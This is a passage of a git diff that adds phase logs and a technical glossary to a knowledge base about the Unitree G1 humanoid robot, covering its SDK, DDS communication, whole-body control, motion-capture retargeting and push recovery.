during mocap playback) +- Enables: [[push-recovery-balance]] (WBC can incorporate perturbation robustness) +- Uses: [[joint-configuration]] (all joints coordinated as one system) +- Uses: [[sensors-perception]] (IMU + encoders for state estimation) +- Trained via: [[learning-and-ai]] (RL training for locomotion component) +- Bounded by: [[equations-and-bounds]] (CoM, ZMP, joint limits) diff --git a/phases/phase-0-bootstrap.md b/phases/phase-0-bootstrap.md new file mode 100644 index 0000000..865be66 --- /dev/null +++ b/phases/phase-0-bootstrap.md @@ -0,0 +1,48 @@ +# Phase 0: Context System Bootstrap + +**Date:** 2026-02-13 +**Objective:** Create the scaffolding for the G1 expert agent knowledge base + +## What Was Done + +1. Created full directory structure: + - `context/` — 13 topic files (all provisional, ready for data) + - `reference/` — glossary.yaml with initial terms + - `examples/` — empty, ready for worked examples + - `phases/` — this file + - `assets/` — empty, ready for images/diagrams + - `tools/` — empty, ready for utility scripts + - `_archive/` — empty + +2. Created CLAUDE.md with: + - Expert agent identity declaration + - Lookup protocol (7-step question answering procedure) + - Quick Topic Lookup table (17 rows) + - Idea formulation protocol + - Conventions and DO NOT rules + - Evidence tier system (T0-T4) + - Key concepts map + - Content addition guidelines + - History table + +3. Created topic files for: + - hardware-specs, joint-configuration, sensors-perception + - locomotion-control, manipulation + - sdk-programming, ros2-integration + - simulation, learning-and-ai + - power-system, safety-limits + - networking-comms, deployment-operations + - equations-and-bounds, open-questions + +4. Created glossary with ~12 initial terms across hardware, sensors, software, control, power, and safety categories. + +## What's Next + +- **Phase 1:** Populate context files from official Unitree documentation, spec sheets, and SDK repos +- Priority sources to find: + - Official Unitree G1 spec sheet / product page + - unitree_sdk2 GitHub repository and documentation + - unitree_ros2 GitHub repository + - URDF/MJCF models (MuJoCo Menagerie, Unitree repos) + - Published papers on G1 locomotion / control + - Community resources (forums, Discord, YouTube teardowns) diff --git a/phases/phase-1-population.md b/phases/phase-1-population.md new file mode 100644 index 0000000..84a06fa --- /dev/null +++ b/phases/phase-1-population.md @@ -0,0 +1,95 @@ +# Phase 1: Context Population from Official & Community Sources + +**Date:** 2026-02-13 +**Objective:** Populate all context files with real data from manufacturer documentation, GitHub repositories, research papers, and community resources. + +## Sources Used + +### Official Manufacturer Documentation (10 pages) +1. Official G1 product page (unitree.com/g1/) +2. Official User Manual V1.1 (marketing.unitree.com) +3. G1 SDK Developer Guide (support.unitree.com) +4. Quick Start Guide +5. DDS Services Interface +6. Basic Services Interface +7. INSPIRE DFX Dexterous Hand docs +8. Basic Motion Routine (ankle joint control) +9. Get SDK guide +10. Quick Development guide + +### GitHub Repositories (9 repos) +1. unitree_sdk2 — C++ SDK (v2.0.2, 888 stars) +2. unitree_sdk2_python — Python wrapper (579 stars) +3. unitree_ros2 — ROS2 integration +4. unitree_mujoco — MuJoCo simulator +5. unitree_rl_gym — RL training framework +6. unitree_rl_lab — Isaac Lab RL +7. unitree_sim_isaaclab — Isaac Lab simulation +8. xr_teleoperate — XR teleoperation +9. MuJoCo Menagerie G1 model (Google DeepMind) + +### Research Papers (6 papers) +1. arXiv:2505.20619 — Gait-Conditioned RL for Humanoid Locomotion +2. arXiv:2502.12152 — Learning Getting-Up Policies +3. arXiv:2511.04131 — BFM-Zero Behavioral Foundation Model +4. arXiv:2502.02858 — Safe Control in Cluttered Environments +5. arXiv:2602.06382 — Vision-Based Locomotion from Depth Pixels +6. arXiv:2509.14096 — Cybersecurity of a Humanoid Robot + +### Community Resources (5 guides) +1. Weston Robot G1 Development Guide +2. docs.quadruped.de G1 Documentation +3. Robonomics First Two Weeks Experience Report +4. RoboStore EDU Ultimate Technical Specifications +5. HuggingFace LeRobot G1 Documentation + +## What Changed + +### Context Files Populated (13 files) +All 13 topic files updated from `status: provisional` to `status: established`: +- hardware-specs.md — dimensions, variants, compute, mechanical design, performance +- joint-configuration.md — DOF breakdowns, joint enumeration, actuator specs, DDS control interface +- sensors-perception.md — sensor suite table, D435i/MID360 details, perception pipeline, state estimation +- power-system.md — battery specs, charging, runtime, cooling +- sdk-programming.md — SDK2 C++/Python details, control modes, data streams, development workflow +- ros2-integration.md — supported distros, packages, URDF locations, middleware config +- locomotion-control.md — RL architecture, gait modes, performance, fall recovery +- manipulation.md — end effectors (3 types), Dex3-1 specs, teleoperation systems +- simulation.md — 8 simulators documented, robot models (MJCF/URDF/USD), sim-to-real pipeline +- learning-and-ai.md — RL frameworks, imitation learning, policy deployment, foundation models +- networking-comms.md — network topology, IP map, DDS config, latency +- safety-limits.md — e-stop, joint limits, collision avoidance research, safe dev practices +- deployment-operations.md — setup procedure, pre-op checklist, troubleshooting, maintenance + +### Equations & Bounds Updated +- 20 robot parameters filled with real values (mass, height, DOF, battery, speed, torque, etc.) +- Joint limits table populated for legs and waist (degrees + radians) +- Validation bounds table with 10 entries +- Battery runtime equation with concrete estimates + +### Glossary Expanded +- Grew from 12 initial terms to 37 terms +- New categories: Hardware (8), Sensors (6), Software (10), Control (6), Compute (4), Power (2), Safety (1), Operations (3) +- All existing terms updated with confirmed typical_range values + +### Open Questions Updated +- 9 questions resolved with answers and source citations +- 4 questions remain open (refined with new partial data) +- 8 new questions added based on gaps discovered during research + +## Key Findings + +1. **G1 uses RL-based locomotion** — gait-conditioned RL with multi-phase curriculum, not classical ZMP control +2. **Dual-computer architecture** — proprietary locomotion computer (not accessible) + user Jetson Orin NX +3. **CycloneDDS 0.10.2 is mandatory** — version mismatches cause silent failures (major gotcha) +4. **Seamless sim-to-real** — same DDS API in simulation and real, only network config changes +5. **Rich research ecosystem** — 6+ validated papers with real G1 hardware experiments +6. **Multiple hand options** — prosthetic (base), Dex3-1 3-finger (EDU), INSPIRE 5-finger (Flagship C) + +## What's Next (Phase 2 candidates) + +- Parse G1 URDF from unitree_ros for exact link masses, inertias, and remaining joint limits +- Download and archive actual SDK example code as worked examples +- Create worked examples in examples/ directory +- Investigate firmware update process and LLM integration capability +- Research ankle joint ranges (not in public specs) diff --git a/phases/phase-2-mocap-balance.md b/phases/phase-2-mocap-balance.md new file mode 100644 index 0000000..8072524 --- /dev/null +++ b/phases/phase-2-mocap-balance.md @@ -0,0 +1,118 @@ +# Phase 2: Motion Capture + Robust Balance Context Expansion + +**Date:** 2026-02-13 +**Objective:** Expand the knowledge base to deeply support development of motion capture retargeting and robust push recovery on the G1, both independently and combined. + +## User Goal + +The user wants to: +1. Push the G1 and have it stay standing — robust push recovery during all activities +2. Replay motion capture data on the G1 +3. Combine both — mocap playback with always-on balance + +User has an EDU variant with Jetson Orin NX, dexterous hands (currently being repaired), running as 29-DOF body. + +## Research Conducted + +Three explore agents investigated: + +### Agent 1: Robust Balance & Push Recovery +- Confirmed stock G1 controller has light push recovery (arXiv:2505.20619) +- Perturbation curriculum training is the primary method for enhanced push recovery +- Multiple papers validate push recovery on REAL G1 hardware +- Residual policy approach allows enhancing balance without replacing stock controller +- Control Barrier Functions provide formal safety guarantees (validated on G1) + +### Agent 2: Motion Capture Retargeting +- Three approaches: IK-based (Pinocchio), optimization-based (CasADi), RL-based (BFM-Zero) +- AMASS dataset pre-retargeted for G1 exists on HuggingFace +- BFM-Zero has open-source motion tracking mode validated on G1 +- XR teleoperation provides real-time mocap via Vision Pro / Quest 3 +- SMPL body model is the standard format; mapping SMPL→G1 joints is well-defined + +### Agent 3: Whole-Body Control Frameworks +- GR00T-WBC (NVIDIA) is G1-native, open-source, designed for exactly this use case +- Decouples locomotion (RL policy, lower body) from task (upper body) control +- H2O, OmniH2O, HumanPlus all prove combined mocap + balance works on humanoids +- SoFTA provides slow-fast decoupled control for loco-manipulation +- Pinocchio + TSID offers model-based alternative to RL-based WBC + +## Key Architectural Decision: Three Approaches + +``` +Approach A: Overlay (Residual) +├── Keep stock locomotion controller +├── Control arms via rt/lowcmd +├── Optional: residual corrections on legs +├── Risk: Low | Authority: Limited +└── Best for: Initial experimentation + +Approach B: GR00T-WBC (Recommended) +├── Replace stock with trained RL locomotion policy +├── WBC coordinates upper and lower body +├── Integrates with LeRobot for data collection +├── Risk: Medium | Authority: Full +└── Best for: Production mocap + balance system + +Approach C: Full Custom RL Policy +├── Single policy handles everything +├── BFM-Zero approach — motion tracking + balance unified +├── Must handle all edge cases +├── Risk: High | Authority: Maximum +└── Best for: Advanced deployment after extensive sim validation +``` + +## What Changed + +### New Context Files (3) +- `context/whole-body-control.md` — WBC paradigms, GR00T-WBC, Pinocchio/TSID, architectural approaches (overlay vs. replacement), H2O/OmniH2O/HumanPlus +- `context/motion-retargeting.md` — Retargeting problem, IK/optimization/RL approaches, motion sources (AMASS, CMU, XR, video), SMPL joint mapping, full pipeline +- `context/push-recovery-balance.md` — Ankle/hip/stepping strategies, perturbation curriculum, residual policies, CBFs, always-on architecture, fall recovery, metrics, development roadmap + +### Updated Context Files (7) +- `context/locomotion-control.md` — Added §8 Custom Policy Replacement, cross-references to new topics +- `context/learning-and-ai.md` — Added §5 Motion Tracking Policies, §6 Residual Policy Learning, §7 Perturbation Curriculum +- `context/manipulation.md` — Expanded §4 with GR00T-WBC reference, added mocap-based manipulation note +- `context/simulation.md` — Added perturbation testing, motion retargeting validation, AMASS dataset note +- `context/safety-limits.md` — Added §8 CBFs for Balance, §9 Fall Risk Assessment for Custom Control +- `context/equations-and-bounds.md` — Added support polygon, CBF, kinematic scaling, residual policy equations +- `context/open-questions.md` — Added 6 new motion capture + balance open questions + +### Glossary Expansion +- Added ~20 new terms across 4 new categories: + - Whole-Body Control: whole_body_control, task_space_inverse_dynamics, operational_space_control, centroidal_dynamics, qp_solver, groot_wbc + - Motion Retargeting: motion_retargeting, mocap, amass, smpl, kinematic_scaling, inverse_kinematics + - Push Recovery: push_recovery, ankle_strategy, hip_strategy, stepping_strategy, residual_policy, control_barrier_function, support_polygon, perturbation_curriculum + - Frameworks: pinocchio, h2o, omnih2o +- Total glossary: ~57 terms (was 37) + +### Source Documents Archived (~15) +- Research papers: GR00T-WBC, H2O, OmniH2O, HumanPlus, TWIST, SoFTA, residual policy +- GitHub repos: gr00t-wbc, Pinocchio, LeRobot+GR00T integration +- Datasets: AMASS-G1, CMU Mocap +- Community: mocap retargeting tools survey + +### CLAUDE.md Updates +- Added 3 rows to Quick Topic Lookup (total: 20 topics) +- Updated Key Concepts Quick Map with new topic hierarchy +- Added Phase 2 to History table + +## Assessment: Achievability + +**YES — this is an achievable goal.** Key evidence: +1. Multiple papers demonstrate push recovery on real G1 hardware +2. GR00T-WBC is designed specifically for G1 WBC +3. BFM-Zero demonstrates motion tracking on real G1 +4. AMASS retarget for G1 already exists +5. The combined approach (balance + tracking) is validated by H2O/OmniH2O/HumanPlus on humanoids + +## What's Next (Phase 3 candidates) + +- Parse G1 URDF for exact link masses/inertias (needed for Pinocchio/TSID) +- Clone and document GR00T-WBC setup process +- Create worked examples in examples/ directory: + - Example: IK-based retargeting of a simple arm gesture + - Example: Perturbation testing in MuJoCo + - Example: GR00T-WBC hello world +- Benchmark GR00T-WBC inference latency on Jetson Orin NX +- Test residual policy overlay on stock controller (is it possible?) diff --git a/reference/glossary.yaml b/reference/glossary.yaml new file mode 100644 index 0000000..2ace0a0 --- /dev/null +++ b/reference/glossary.yaml @@ -0,0 +1,748 @@ +# Unitree G1 Glossary +# Each term has: full_name, definition, unit (if applicable), typical_range, related_terms, related_topics +# Organized by category, alphabetical within each category + +terms: + # ============================================================ + # HARDWARE + # ============================================================ + - term: "actuator" + full_name: "Joint Actuator" + definition: | + Electric motor + gearbox assembly that drives a robot joint. + The G1 uses low-inertia PMSM motors with compact planetary gearboxes, + hollow shafts, and dual encoders per joint. + unit: "Nm (torque output)" + typical_range: "90-120 Nm (knee, varies by variant)" + related_terms: ["pmsm", "planetary_gearbox", "joint", "dual_encoder"] + related_topics: ["joint-configuration", "hardware-specs"] + + - term: "backdrivable" + full_name: "Backdrivable Actuator" + definition: | + An actuator design where external forces can move the output shaft + even when the motor is not powered. Enables compliant behavior and + safe human-robot interaction. The G1's actuators are backdrivable. + unit: null + typical_range: null + related_terms: ["actuator", "pmsm", "planetary_gearbox"] + related_topics: ["joint-configuration"] + + - term: "crossed_roller_bearing" + full_name: "Crossed Roller Bearing" + definition: | + Industrial-grade bearing with alternating roller orientations, + providing high rigidity and load capacity in a compact form factor. + Used in G1 joint assemblies. + unit: null + typical_range: null + related_terms: ["actuator", "joint"] + related_topics: ["joint-configuration"] + + - term: "dex3_1" + full_name: "Dex3-1 Three-Fingered Dexterous Hand" + definition: | + Unitree's 3-finger dexterous hand with 7 DOF per hand (thumb 3, + index 2, middle 2). Features 33 tactile sensors and force-position + hybrid control. Available on EDU A/B variants. + unit: null + typical_range: "7 DOF per hand, 33 tactile sensors" + related_terms: ["inspire_hand", "tactile_sensor", "force_position_hybrid"] + related_topics: ["manipulation", "joint-configuration"] + + - term: "dof" + full_name: "Degrees of Freedom" + definition: | + The number of independent joint axes the robot can actuate. + The G1 is available in 23-DOF (base), 29-DOF (EDU), and 43-DOF + (Ultimate, including dexterous hands) configurations. + unit: "count" + typical_range: "23-43 depending on variant" + related_terms: ["joint", "actuator"] + related_topics: ["joint-configuration", "hardware-specs"] + + - term: "inspire_hand" + full_name: "INSPIRE DFX Dexterous Hand" + definition: | + Full 5-finger advanced dexterous hand available on G1 Flagship + Version C. Provides enhanced precision manipulation compared to + the Dex3-1. Compatible with ROS2 teleoperation. + unit: null + typical_range: null + related_terms: ["dex3_1", "manipulation"] + related_topics: ["manipulation"] + + - term: "joint" + full_name: "Robot Joint" + definition: | + A single rotational axis connecting two links, driven by an actuator. + Named using Unitree's convention: {side}_{body_part}_{axis} + (e.g., left_hip_pitch, right_knee). + unit: "rad (position), rad/s (velocity)" + typical_range: "±2.97 rad max (hip_roll), 0-2.88 rad (knee)" + related_terms: ["dof", "actuator", "dual_encoder"] + related_topics: ["joint-configuration", "equations-and-bounds"] + + - term: "planetary_gearbox" + full_name: "Planetary Gearbox" + definition: | + Compact gear reduction system used in G1 actuators. Provides + high torque density in a small form factor. Gear ratios per + joint not yet published. + unit: null + typical_range: null + related_terms: ["actuator", "pmsm", "backdrivable"] + related_topics: ["joint-configuration"] + + - term: "pmsm" + full_name: "Permanent Magnet Synchronous Motor" + definition: | + The motor type used in all G1 joint actuators. Low-inertia + internal rotor design with hollow shafts for reduced weight + and internal wiring routing. Fast low-latency response. + unit: null + typical_range: null + related_terms: ["actuator", "planetary_gearbox"] + related_topics: ["joint-configuration", "hardware-specs"] + + # ============================================================ + # SENSORS + # ============================================================ + - term: "dual_encoder" + full_name: "Dual Encoder (per joint)" + definition: | + Two encoders per joint providing both position and velocity + feedback. Part of the G1's proprioceptive sensing system. + Data available in rt/lowstate motor_state. + unit: "rad (position), rad/s (velocity)" + typical_range: null + related_terms: ["joint", "actuator", "state_estimation"] + related_topics: ["sensors-perception", "joint-configuration"] + + - term: "imu" + full_name: "Inertial Measurement Unit" + definition: | + 6-axis sensor (3-axis accelerometer + 3-axis gyroscope) measuring + body orientation and angular velocity. Critical for balance and + locomotion control. Data in rt/lowstate imu_state field. + unit: "m/s^2 (accel), rad/s (gyro)" + typical_range: null + related_terms: ["state_estimation", "dual_encoder"] + related_topics: ["sensors-perception", "locomotion-control"] + + - term: "livox_mid360" + full_name: "Livox MID360 3D LiDAR" + definition: | + 360-degree 3D LiDAR sensor mounted on the G1's head. Provides + point cloud data for SLAM, navigation, and obstacle avoidance. + Connected via Ethernet at 192.168.123.20. + unit: null + typical_range: "360° horizontal, 59° vertical FOV" + related_terms: ["realsense_d435i"] + related_topics: ["sensors-perception", "networking-comms"] + + - term: "realsense_d435i" + full_name: "Intel RealSense D435i Depth Camera" + definition: | + RGB-D depth camera mounted on the G1's head. Provides color and + depth images for visual perception, obstacle detection, and + manipulation. Standard specs: 1280x720@30fps (depth). + unit: null + typical_range: "87°x58° FOV (depth), up to 1920x1080 (RGB)" + related_terms: ["livox_mid360"] + related_topics: ["sensors-perception"] + + - term: "state_estimation" + full_name: "State Estimation" + definition: | + Fusing IMU and joint encoder data to estimate the robot's full + state (position, velocity, orientation). Runs on the locomotion + computer at 500 Hz. Foundation for balance and locomotion control. + unit: null + typical_range: null + related_terms: ["imu", "dual_encoder"] + related_topics: ["locomotion-control", "sensors-perception"] + + - term: "tactile_sensor" + full_name: "Tactile Sensor" + definition: | + Force/touch sensors integrated into the Dex3-1 hand fingertips. + 33 sensors per hand provide contact detection and force feedback + for manipulation tasks. + unit: null + typical_range: "33 per hand (Dex3-1)" + related_terms: ["dex3_1", "force_position_hybrid"] + related_topics: ["manipulation", "sensors-perception"] + + # ============================================================ + # SOFTWARE & COMMUNICATION + # ============================================================ + - term: "cyclone_dds" + full_name: "CycloneDDS" + definition: | + The specific DDS implementation used by the G1. Version 0.10.2 + is mandatory — version mismatches cause silent communication + failures. Used by both unitree_sdk2 and unitree_ros2. + unit: null + typical_range: "v0.10.2 (exact version required)" + related_terms: ["dds", "unitree_sdk2", "ros2", "domain_id"] + related_topics: ["networking-comms", "sdk-programming", "ros2-integration"] + + - term: "dds" + full_name: "Data Distribution Service" + definition: | + Middleware protocol for real-time publish-subscribe communication. + The G1 uses CycloneDDS 0.10.2 for all internal communication + between computers and for external SDK/ROS2 access. + unit: null + typical_range: "2 ms latency, 500 Hz update rate" + related_terms: ["cyclone_dds", "unitree_sdk2", "ros2", "domain_id"] + related_topics: ["networking-comms", "sdk-programming"] + + - term: "domain_id" + full_name: "DDS Domain ID" + definition: | + Identifier that partitions DDS communication. Used to separate + simulated robot traffic from real robot traffic. Change domain ID + to switch between sim and real — no code changes needed. + unit: null + typical_range: null + related_terms: ["dds", "cyclone_dds", "sim_to_real"] + related_topics: ["networking-comms", "simulation"] + + - term: "lowcmd" + full_name: "Low-Level Command (rt/lowcmd)" + definition: | + DDS topic for sending motor commands to the robot. Published by + user code, consumed by locomotion computer. Contains MotorCmd_ + structures for each joint (mode, q, dq, tau). + unit: null + typical_range: "Published at 500 Hz" + related_terms: ["lowstate", "motor_cmd", "dds"] + related_topics: ["sdk-programming", "joint-configuration"] + + - term: "lowstate" + full_name: "Low-Level State (rt/lowstate)" + definition: | + DDS topic containing the full robot state. Published by locomotion + computer, subscribed by user code. Includes IMU data, motor states, + wireless remote, timing tick (1ms increment), and CRC checksum. + unit: null + typical_range: "Updated at 500 Hz" + related_terms: ["lowcmd", "motor_cmd", "dds"] + related_topics: ["sdk-programming", "sensors-perception"] + + - term: "motor_cmd" + full_name: "Motor Command Structure (MotorCmd_)" + definition: | + Per-joint command in the LowCmd_ message. Fields: mode (0=disable, + 1=enable), q (target position in rad), dq (target velocity in rad/s), + tau (feed-forward torque in Nm). + unit: "rad, rad/s, Nm" + typical_range: null + related_terms: ["lowcmd", "force_position_hybrid"] + related_topics: ["sdk-programming", "joint-configuration"] + + - term: "ota_update" + full_name: "Over-The-Air Update" + definition: | + Firmware update mechanism allowing wireless updates to the G1's + software. Enables seamless updates without physical access to + internal storage. + unit: null + typical_range: null + related_terms: [] + related_topics: ["deployment-operations"] + + - term: "pybind11" + full_name: "pybind11 (C++/Python Binding)" + definition: | + Library used to create Python bindings for the C++ unitree_sdk2. + Enables the unitree_sdk2_python package to maintain API consistency + with the C++ SDK. + unit: null + typical_range: null + related_terms: ["unitree_sdk2"] + related_topics: ["sdk-programming"] + + - term: "ros2" + full_name: "Robot Operating System 2" + definition: | + Open-source robotics middleware framework. The G1 supports ROS2 + via unitree_ros2 packages. Supported distros: Foxy (Ubuntu 20.04) + and Humble (Ubuntu 22.04, recommended). + unit: null + typical_range: null + related_terms: ["dds", "cyclone_dds", "unitree_sdk2"] + related_topics: ["ros2-integration"] + + - term: "unitree_sdk2" + full_name: "Unitree SDK 2.0" + definition: | + Official SDK for robot control. C++ (v2.0.2) with Python wrapper. + Based on CycloneDDS 0.10.2. Provides low-level motor control, + high-level sport mode, sensor access. BSD-3-Clause license. + unit: null + typical_range: "v2.0.2 (latest)" + related_terms: ["dds", "cyclone_dds", "ros2", "pybind11"] + related_topics: ["sdk-programming"] + + # ============================================================ + # CONTROL & LEARNING + # ============================================================ + - term: "curriculum_learning" + full_name: "Curriculum Learning" + definition: | + Training strategy that gradually increases task difficulty. + Used in G1 locomotion policy training — multi-phase curriculum + progresses from basic standing to complex gait transitions. + unit: null + typical_range: null + related_terms: ["gait_conditioned_rl", "sim_to_real"] + related_topics: ["learning-and-ai", "locomotion-control"] + + - term: "force_position_hybrid" + full_name: "Force-Position Hybrid Control" + definition: | + Control mode combining position targets with torque feed-forward. + Used in G1 actuators and Dex3-1 hand for compliant manipulation. + Set both q (position) and tau (torque) in MotorCmd_. + unit: null + typical_range: null + related_terms: ["motor_cmd", "actuator", "dex3_1"] + related_topics: ["sdk-programming", "manipulation"] + + - term: "gait" + full_name: "Gait Pattern" + definition: | + The cyclic pattern of leg movements during locomotion. + G1 supports standing, walking, and smooth transitions between them. + Controlled by gait-conditioned RL policy. + unit: null + typical_range: "0-2 m/s walking speed" + related_terms: ["gait_conditioned_rl", "locomotion"] + related_topics: ["locomotion-control"] + + - term: "gait_conditioned_rl" + full_name: "Gait-Conditioned Reinforcement Learning" + definition: | + The G1's locomotion control framework. Uses one-hot gait ID for + dynamic gait switching, gait-specific reward routing, and + biomechanically inspired reward shaping. Trained in simulation. + Reference: arXiv:2505.20619. + unit: null + typical_range: null + related_terms: ["gait", "curriculum_learning", "sim_to_real"] + related_topics: ["locomotion-control", "learning-and-ai"] + + - term: "sim_to_real" + full_name: "Sim-to-Real Transfer" + definition: | + Deploying policies trained in simulation to physical hardware. + The G1 ecosystem supports seamless transfer — same DDS API in sim + and real, only network config changes. Domain randomization used + for robustness. + unit: null + typical_range: null + related_terms: ["domain_id", "gait_conditioned_rl"] + related_topics: ["simulation", "learning-and-ai"] + + # ============================================================ + # COMPUTE & ARCHITECTURE + # ============================================================ + - term: "development_computer" + full_name: "Development Computer (PC2)" + definition: | + User-accessible NVIDIA Jetson Orin NX 16GB computer on the G1. + Runs user applications, AI models, and perception pipelines. + IP: 192.168.123.164. Available on EDU variants. + unit: null + typical_range: "100 TOPS AI performance" + related_terms: ["jetson_orin_nx", "locomotion_computer", "dual_computer_architecture"] + related_topics: ["hardware-specs", "networking-comms"] + + - term: "dual_computer_architecture" + full_name: "Hierarchical Dual-Computer Architecture" + definition: | + The G1's computing design: a proprietary locomotion computer + (192.168.123.161) handles real-time motor control at 500 Hz, + while a user-accessible development computer (192.168.123.164, + Jetson Orin NX) runs applications. They communicate via CycloneDDS. + unit: null + typical_range: null + related_terms: ["locomotion_computer", "development_computer", "dds"] + related_topics: ["hardware-specs", "networking-comms"] + + - term: "jetson_orin_nx" + full_name: "NVIDIA Jetson Orin NX 16GB" + definition: | + AI computing module on the G1 (EDU variants). Provides 100 TOPS + of AI performance for perception, planning, and neural network + inference. Runs Linux. + unit: "TOPS" + typical_range: "100 TOPS" + related_terms: ["development_computer", "dual_computer_architecture"] + related_topics: ["hardware-specs"] + + - term: "locomotion_computer" + full_name: "Locomotion Computer (PC1)" + definition: | + Proprietary computer handling real-time motor control, balance, + and gait execution at 500 Hz. NOT user-accessible. Exposes + control APIs via CycloneDDS. IP: 192.168.123.161. + unit: null + typical_range: "500 Hz control loop" + related_terms: ["development_computer", "dual_computer_architecture"] + related_topics: ["hardware-specs", "locomotion-control"] + + # ============================================================ + # POWER + # ============================================================ + - term: "battery_capacity" + full_name: "Battery Capacity" + definition: | + The G1 uses a 13-cell LiPo battery with 9,000 mAh capacity + and quick-release smart connector. Estimated ~432 Wh energy. + Charger: 100-240V AC input, 54V/5A DC output. + unit: "mAh / Wh" + typical_range: "9,000 mAh (~432 Wh)" + related_terms: ["runtime"] + related_topics: ["power-system"] + + - term: "runtime" + full_name: "Battery Runtime" + definition: | + Duration of operation on a single charge. ~2 hours continuous + for standard G1, up to 6 hours for G1-D (wheeled variant). + Varies significantly by activity profile. + unit: "hours" + typical_range: "~2 hours (continuous operation)" + related_terms: ["battery_capacity"] + related_topics: ["power-system", "deployment-operations"] + + # ============================================================ + # SAFETY + # ============================================================ + - term: "e_stop" + full_name: "Emergency Stop" + definition: | + Hardware button and software API to immediately halt all robot + motion. Available on physical robot and via wireless remote. + Must explicitly re-enable robot after triggering. + unit: null + typical_range: null + related_terms: ["safety_limits"] + related_topics: ["safety-limits", "deployment-operations"] + + - term: "safety_limits" + full_name: "Safety Limits" + definition: | + The collection of joint position limits, torque limits, velocity + limits, and operational constraints that bound safe robot behavior. + Enforced by locomotion computer and optionally by user safety wrappers. + unit: null + typical_range: null + related_terms: ["e_stop", "joint"] + related_topics: ["safety-limits", "equations-and-bounds"] + + # ============================================================ + # WHOLE-BODY CONTROL & BALANCE + # ============================================================ + - term: "whole_body_control" + full_name: "Whole-Body Control (WBC)" + definition: | + Control framework treating the entire robot as one coordinated system. + Solves for all joint commands simultaneously subject to task objectives, + balance constraints, and physical limits. Enables mocap tracking while + maintaining stability. + unit: null + typical_range: null + related_terms: ["task_space_inverse_dynamics", "groot_wbc", "qp_solver"] + related_topics: ["whole-body-control", "locomotion-control"] + + - term: "task_space_inverse_dynamics" + full_name: "Task-Space Inverse Dynamics (TSID)" + definition: | + QP-based optimization that computes joint torques to achieve desired + task-space accelerations while respecting balance, joint limits, and + contact constraints. Used with Pinocchio library. + unit: null + typical_range: "1-5ms compute time per step" + related_terms: ["whole_body_control", "pinocchio", "qp_solver"] + related_topics: ["whole-body-control", "equations-and-bounds"] + + - term: "operational_space_control" + full_name: "Operational Space Control" + definition: | + Control framework where tasks are specified in Cartesian/operational + space (end-effector positions) and mapped to joint space via the + robot's Jacobian. Foundation for task-priority WBC. + unit: null + typical_range: null + related_terms: ["whole_body_control", "inverse_kinematics"] + related_topics: ["whole-body-control"] + + - term: "centroidal_dynamics" + full_name: "Centroidal Dynamics" + definition: | + Simplified dynamics model using the robot's center of mass and + angular momentum. Used in MPC-based WBC for computationally efficient + balance planning. Captures whole-body momentum in 6 DOF. + unit: null + typical_range: null + related_terms: ["whole_body_control", "com"] + related_topics: ["whole-body-control", "equations-and-bounds"] + + - term: "qp_solver" + full_name: "Quadratic Program Solver" + definition: | + Optimization solver for convex quadratic objectives with linear + constraints. Core of model-based WBC — solves for joint accelerations + or torques at each control step. Must run within 2ms for 500 Hz. + unit: null + typical_range: "< 2ms solve time for real-time WBC" + related_terms: ["task_space_inverse_dynamics", "whole_body_control"] + related_topics: ["whole-body-control"] + + - term: "groot_wbc" + full_name: "GR00T-WholeBodyControl (NVIDIA)" + definition: | + NVIDIA's open-source WBC framework for humanoid robots including G1. + Decouples RL locomotion (lower body) from task control (upper body). + Integrates with LeRobot and Isaac Lab. Apache 2.0 license. + unit: null + typical_range: null + related_terms: ["whole_body_control", "lerobot"] + related_topics: ["whole-body-control", "learning-and-ai"] + + # ============================================================ + # MOTION RETARGETING + # ============================================================ + - term: "motion_retargeting" + full_name: "Motion Retargeting" + definition: | + Mapping motion from one kinematic structure (e.g., human) to another + (e.g., G1 robot). Must handle DOF mismatch, limb proportion differences, + and joint limit constraints. Can be IK-based, optimization-based, or RL-based. + unit: null + typical_range: null + related_terms: ["mocap", "inverse_kinematics", "smpl", "kinematic_scaling"] + related_topics: ["motion-retargeting"] + + - term: "mocap" + full_name: "Motion Capture" + definition: | + Recording human body movement for analysis or retargeting to robots. + Sources: marker-based (OptiTrack/Vicon), markerless (Kinect, MediaPipe), + VR-based (Vision Pro, Quest 3), or video-based (OpenPose, HMR2.0). + unit: null + typical_range: null + related_terms: ["motion_retargeting", "amass", "xr_teleoperate"] + related_topics: ["motion-retargeting", "manipulation"] + + - term: "amass" + full_name: "Archive of Motion Capture as Surface Shapes" + definition: | + Largest public human motion dataset (11,000+ sequences from 15 datasets). + Uses SMPL body model format. Pre-retargeted for G1 available on + HuggingFace (unitree). Used for RL training reference motions. + unit: null + typical_range: "11,000+ motion sequences" + related_terms: ["smpl", "mocap", "motion_retargeting"] + related_topics: ["motion-retargeting", "learning-and-ai"] + + - term: "smpl" + full_name: "Skinned Multi-Person Linear Model" + definition: | + Standard parametric human body model. 72 pose params (24 joints x 3) + + 10 shape params → 6,890 vertex mesh. AMASS uses SMPL format. + Retargeting requires mapping SMPL joints to G1 joints. + unit: null + typical_range: "24 joints, 72 pose parameters" + related_terms: ["amass", "mocap", "motion_retargeting"] + related_topics: ["motion-retargeting"] + + - term: "kinematic_scaling" + full_name: "Kinematic Scaling" + definition: | + Adjusting motion data to account for differences in limb lengths + between source (human) and target (robot). Maps end-effector + positions proportionally to robot workspace. + unit: null + typical_range: null + related_terms: ["motion_retargeting", "inverse_kinematics"] + related_topics: ["motion-retargeting", "equations-and-bounds"] + + - term: "inverse_kinematics" + full_name: "Inverse Kinematics (IK)" + definition: | + Computing joint angles to achieve a desired end-effector position. + Used in motion retargeting to map human keypoints to G1 joint angles. + Solvers: Pinocchio, MuJoCo IK, IKPy. + unit: null + typical_range: "< 1ms per frame (Pinocchio)" + related_terms: ["motion_retargeting", "kinematic_scaling", "pinocchio"] + related_topics: ["motion-retargeting", "whole-body-control"] + + # ============================================================ + # PUSH RECOVERY & BALANCE + # ============================================================ + - term: "push_recovery" + full_name: "Push Recovery" + definition: | + The robot's ability to maintain balance after being pushed. Strategies + include ankle (small pushes), hip (medium), and stepping (large). + RL policies trained with perturbation curriculum achieve robust recovery. + unit: null + typical_range: "~30-60 N·s recoverable impulse (estimated)" + related_terms: ["ankle_strategy", "hip_strategy", "stepping_strategy", "perturbation_curriculum"] + related_topics: ["push-recovery-balance", "locomotion-control"] + + - term: "ankle_strategy" + full_name: "Ankle Push Recovery Strategy" + definition: | + Responding to small perturbations by adjusting ankle torque to shift + center of pressure within the foot. Fastest response (~50ms). + Limited to pushes that keep CoM within foot support area. + unit: null + typical_range: null + related_terms: ["push_recovery", "hip_strategy", 